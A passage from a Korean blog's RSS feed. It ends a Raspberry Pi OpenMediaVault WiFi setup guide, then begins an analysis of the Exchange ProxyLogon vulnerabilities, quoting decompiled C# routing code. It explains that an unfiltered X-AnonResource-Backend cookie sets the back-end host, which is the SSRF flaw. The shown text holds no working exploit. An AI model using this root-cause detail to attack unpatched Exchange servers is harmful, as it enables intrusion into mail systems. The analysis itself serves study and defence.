this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;wpa_supplicant.conf 내용&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
&lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
window.adsbygoogle.push({});
&lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;2. /etc/network/interfaces&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다음으로는&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;네트워크 설정 파일?을&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;수정해야 합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&lt;b&gt;수정할 파일:&lt;/b&gt;&lt;br /&gt;&lt;b&gt;# vi /etc/network/interfaces&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;내용:&lt;/b&gt;&lt;br /&gt;&lt;b&gt;source-directory /etc/network/interfaces.d&lt;/b&gt;&lt;br /&gt;&lt;b&gt;auto lo&lt;/b&gt;&lt;br /&gt;&lt;b&gt;iface lo inet loopback&lt;/b&gt;&lt;br /&gt;&lt;b&gt;iface eth0 inet manual&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;allow-hotplug wlan0&lt;/b&gt;&lt;br /&gt;&lt;b&gt;iface wlan0 inet manual&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; wpa-conf /etc/wpa_supplicant/wpa_supplicant.conf&lt;/b&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;705&quot; data-origin-height=&quot;273&quot; data-filename=&quot;2.png&quot; width=&quot;500&quot; height=&quot;194&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bETDsR/btreKvy7s0W/8KKDsfHoEFEe7wiHcLakW0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bETDsR/btreKvy7s0W/8KKDsfHoEFEe7wiHcLakW0/img.png&quot; data-alt=&quot;interfaces 내용&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bETDsR/btreKvy7s0W/8KKDsfHoEFEe7wiHcLakW0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbETDsR%2FbtreKvy7s0W%2F8KKDsfHoEFEe7wiHcLakW0%2Fimg.png&quot; data-origin-width=&quot;705&quot; data-origin-height=&quot;273&quot; data-filename=&quot;2.png&quot; width=&quot;500&quot; height=&quot;194&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;interfaces 내용&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
&lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
window.adsbygoogle.push({});
&lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;3. 확인&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;확인하기 전에&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;&lt;b&gt;재부팅&lt;/b&gt;&lt;/u&gt;은&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;잊으시면 안됩니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&lt;b&gt;# reboot&lt;/b&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;재부팅 후&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;SSH에 접속해서&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;확인한 IP 입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;705&quot; data-origin-height=&quot;631&quot; data-filename=&quot;3.png&quot; width=&quot;500&quot; height=&quot;448&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dkLutu/btreJwr8Hh4/S5GEdOVLWJn7UIGwdhxksk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dkLutu/btreJwr8Hh4/S5GEdOVLWJn7UIGwdhxksk/img.png&quot; data-alt=&quot;ifconfig&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dkLutu/btreJwr8Hh4/S5GEdOVLWJn7UIGwdhxksk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdkLutu%2FbtreJwr8Hh4%2FS5GEdOVLWJn7UIGwdhxksk%2Fimg.png&quot; data-origin-width=&quot;705&quot; data-origin-height=&quot;631&quot; data-filename=&quot;3.png&quot; width=&quot;500&quot; height=&quot;448&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;ifconfig&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;OMV 웹 페이지에 접속해서&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;무선 랜이 연결된 것을&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;확인합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;1061&quot; data-origin-height=&quot;662&quot; data-filename=&quot;4.png&quot; width=&quot;500&quot; height=&quot;312&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/zDKNt/btreMDcdOA1/dd7xnEYVbencQv6wUbCx2k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/zDKNt/btreMDcdOA1/dd7xnEYVbencQv6wUbCx2k/img.png&quot; data-alt=&quot;&amp;amp;amp;nbsp;wlan0 On&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/zDKNt/btreMDcdOA1/dd7xnEYVbencQv6wUbCx2k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FzDKNt%2FbtreMDcdOA1%2Fdd7xnEYVbencQv6wUbCx2k%2Fimg.png&quot; data-origin-width=&quot;1061&quot; data-origin-height=&quot;662&quot; data-filename=&quot;4.png&quot; width=&quot;500&quot; height=&quot;312&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;&amp;nbsp;wlan0 On&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;</description>
      <category>NAS/Raspberry Pi</category>
      <category>omv5</category>
      <category>openmediavault</category>
      <category>raspberry pi</category>
      <category>WiFi</category>
      <category>Wireless</category>
      <category>wlan0</category>
      <category>무선 랜 연결</category>
      <author>루딘이</author>
      <guid isPermaLink="true">https://chmodi.tistory.com/155</guid>
      <comments>https://chmodi.tistory.com/155#entry155comment</comments>
      <pubDate>Sat, 11 Sep 2021 20:12:09 +0900</pubDate>
    </item>
    <item>
      <title>Window Exchange ProxyLogon 취약점(CVE-2021-26855, CVE-2021-27065) - 분석</title>
      <link>https://chmodi.tistory.com/154</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;지난 글에 이어서&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ProxyLogon 공격 과정을&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;분석한 내용입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;# Exchange 구조&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Exchange의 웹 사이트는&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;IIS를 기반으로 하며,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;&lt;b&gt;Front-End site(Default Web site)와&lt;/b&gt;&lt;/u&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;&lt;b&gt;Back-End site(Exchange Backend)로&lt;/b&gt;&lt;/u&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;&lt;b&gt;구성&lt;/b&gt;&lt;/u&gt;되어 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&lt;b&gt;Front-End site(Default Web site)&lt;/b&gt;&lt;br /&gt;&lt;b&gt;- 사용자 UI&lt;/b&gt;&lt;br /&gt;&lt;b&gt;- Port 80 &amp;amp; 443 사용&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Back-End site(Exchange Backend)&lt;/b&gt;&lt;br /&gt;&lt;b&gt;- 비즈니스 로직&lt;/b&gt;&lt;br /&gt;&lt;b&gt;- Port 81 &amp;amp; 444 사용&lt;/b&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;800&quot; data-origin-height=&quot;281&quot; data-filename=&quot;1.png&quot; width=&quot;500&quot; height=&quot;176&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/xqZdz/btreDTTmgmh/PIodr1mtFfGgKig3LlWuL0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/xqZdz/btreDTTmgmh/PIodr1mtFfGgKig3LlWuL0/img.png&quot; data-alt=&quot;Exchange 구성&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/xqZdz/btreDTTmgmh/PIodr1mtFfGgKig3LlWuL0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FxqZdz%2FbtreDTTmgmh%2FPIodr1mtFfGgKig3LlWuL0%2Fimg.png&quot; data-origin-width=&quot;800&quot; data-origin-height=&quot;281&quot; data-filename=&quot;1.png&quot; width=&quot;500&quot; height=&quot;176&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;Exchange 구성&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;취약점은 이&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;&lt;u&gt;두 Site 간&lt;/u&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;u&gt;전달되는 데이터에&lt;/u&gt;&lt;/b&gt;&lt;b&gt;&lt;u&gt;에 대한&lt;/u&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;u&gt;보안 검토가&amp;nbsp;&lt;/u&gt;&lt;/b&gt;&lt;b&gt;&lt;u&gt;미흡하여 발생&lt;/u&gt;&lt;/b&gt;합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; width=&quot;500&quot; height=&quot;468&quot; data-origin-width=&quot;698&quot; data-origin-height=&quot;653&quot; data-filename=&quot;1.png&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bwoBzH/btretbIePNf/yphNLeGRhZ5Dp6eeWqI0R0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bwoBzH/btretbIePNf/yphNLeGRhZ5Dp6eeWqI0R0/img.png&quot; data-alt=&quot;Exchange 구조 및 취약점 발생 Point&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bwoBzH/btretbIePNf/yphNLeGRhZ5Dp6eeWqI0R0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbwoBzH%2FbtretbIePNf%2FyphNLeGRhZ5Dp6eeWqI0R0%2Fimg.png&quot; width=&quot;500&quot; height=&quot;468&quot; data-origin-width=&quot;698&quot; data-origin-height=&quot;653&quot; data-filename=&quot;1.png&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;Exchange 구조 및 취약점 발생 Point&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
&lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
window.adsbygoogle.push({});
&lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;# CVE-2021-26855(SSRF)&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;SSRF 취약점은&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공개된 PoC 코드의 공격 위치에 따라&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;연관된 모듈이 다르기 때문에&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;각각 작성했습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 55px 10px 1px; border: solid rgba(0, 0, 0, 0.3);&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;- 타 사이트 접속&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Front-End site로 들어온 사용자 요청은&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;내부 정보 추가 등의 과정을 거친 후&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1:1로 연결된 Back-End site의 모듈로&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;전달됩니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사용자가 접속한 페이지에 따라&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 과정을 처리하는 모듈이 다르며,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;각 모듈은 동일한 하나의 모듈을&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;상속받아 각 페이지 특성에 맞게&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;추가 구현되어 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%; height: 80px;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style12&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;사용자 접속 Page&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;&lt;b&gt;사용자 요청 처리 Module&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;&lt;b&gt;최상위 Module&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;/owa&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;&lt;b&gt;OwaProxyRequestHandler&lt;/b&gt;&lt;/td&gt;
&lt;td rowspan=&quot;3&quot;&gt;&lt;b&gt;ProxyRequestHandler&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;/ews&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;&lt;b&gt;EwsProxyRequestHandler&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;/ecp&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;&lt;b&gt;EcpProxyRequestHandler&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;b&gt;FrontEndHttpProxy.dll - HttpProxy.ProxyRequestHandler.cs&lt;/b&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Front-End site에서 Back-End로 사용자 데이터를&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;전달하는 모듈들의 기본 모듈입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 모듈의 &lt;u&gt;&lt;b&gt;GetTargetBackEndServerUrl()&lt;/b&gt;&lt;/u&gt; 메서드는&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Front-End Site에서 전달된 사용자 요청을 처리할&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;&lt;b&gt;Back-End Site의 주소(URI)를 정의&lt;/b&gt;&lt;/u&gt;합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;960&quot; data-origin-height=&quot;529&quot; data-filename=&quot;1.png&quot; width=&quot;500&quot; height=&quot;276&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bWWcXz/btreB75XoP9/UHKu3JwyeU7LtkvCcs758K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bWWcXz/btreB75XoP9/UHKu3JwyeU7LtkvCcs758K/img.png&quot; data-alt=&quot;ProxyRequestHandler.GetTargetBackEndServerUrl()&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bWWcXz/btreB75XoP9/UHKu3JwyeU7LtkvCcs758K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbWWcXz%2FbtreB75XoP9%2FUHKu3JwyeU7LtkvCcs758K%2Fimg.png&quot; data-origin-width=&quot;960&quot; data-origin-height=&quot;529&quot; data-filename=&quot;1.png&quot; width=&quot;500&quot; height=&quot;276&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;ProxyRequestHandler.GetTargetBackEndServerUrl()&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;코드를 자세히 살펴보면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;urlAnchorMailbox의 값이 Null일 때,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;&lt;b&gt;Back-End site의 Host 값을&lt;/b&gt;&lt;/u&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;&lt;b&gt;this.AnchoredRoutingTarget.BackEndServer.Fqdn&lt;/b&gt;&lt;/u&gt;에서&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;가져오는 것을 확인할 수 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1631508882227&quot; class=&quot;cs&quot; data-ke-language=&quot;cs&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;UrlAnchorMailbox urlAnchorMailbox = this.AnchoredRoutingTarget.AnchorMailbox as UrlAnchorMailbox;
if (urlAnchorMailbox != null) {
	result = urlAnchorMailbox.Url;
} else {
	UriBuilder clientUrlForProxy = this.GetClientUrlForProxy();
	clientUrlForProxy.Scheme = Uri.UriSchemeHttps;
	clientUrlForProxy.Host = this.AnchoredRoutingTarget.BackEndServer.Fqdn;
	clientUrlForProxy.Port = 444;
	if (this.AnchoredRoutingTarget.BackEndServer.Version &amp;lt; Server.E15MinVersion) {
		this.ProxyToDownLevel = true;
		RequestDetailsLoggerBase&amp;lt;RequestDetailsLogger&amp;gt;.SafeAppendGenericInfo(this.Logger, &quot;ProxyToDownLevel&quot;, true);
		clientUrlForProxy.Port = 443;
	}
	result = clientUrlForProxy.Uri;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;b&gt;&lt;b&gt;FrontEndHttpProxy.dll -&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/b&gt;HttpProxy.OwaResourceProxyRequestHandler.cs&lt;/b&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;만약, 사용자가 &lt;u&gt;&lt;b&gt;/owa 페이지로 접속&lt;/b&gt;&lt;/u&gt;한다면,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;&lt;b&gt;this.AnchoredRoutingTarget.BackEndServer에 대한 정보&lt;/b&gt;&lt;/u&gt;는&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;OwaResourceProxyRequestHandler 모듈의&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ResolveAnchorMailbox() 메소드에서 정해지며,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사용자 브라우저의&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;&lt;b&gt;&quot;X-AnonResource-Backend&quot; 쿠키의 값을&lt;/b&gt;&lt;/u&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;&lt;b&gt;보안 필터링 없이 그대로 사용&lt;/b&gt;&lt;/u&gt;합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;929&quot; data-origin-height=&quot;335&quot; data-filename=&quot;1.png&quot; width=&quot;500&quot; height=&quot;180&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/HpTqx/btreVyaXQIV/Jl09o9TcBSzW3AWNDpHrzK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/HpTqx/btreVyaXQIV/Jl09o9TcBSzW3AWNDpHrzK/img.png&quot; data-alt=&quot;OwaResourceProxyRequestHandler.ResolveAnchorMailbox()&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/HpTqx/btreVyaXQIV/Jl09o9TcBSzW3AWNDpHrzK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FHpTqx%2FbtreVyaXQIV%2FJl09o9TcBSzW3AWNDpHrzK%2Fimg.png&quot; data-origin-width=&quot;929&quot; data-origin-height=&quot;335&quot; data-filename=&quot;1.png&quot; width=&quot;500&quot; height=&quot;180&quot; 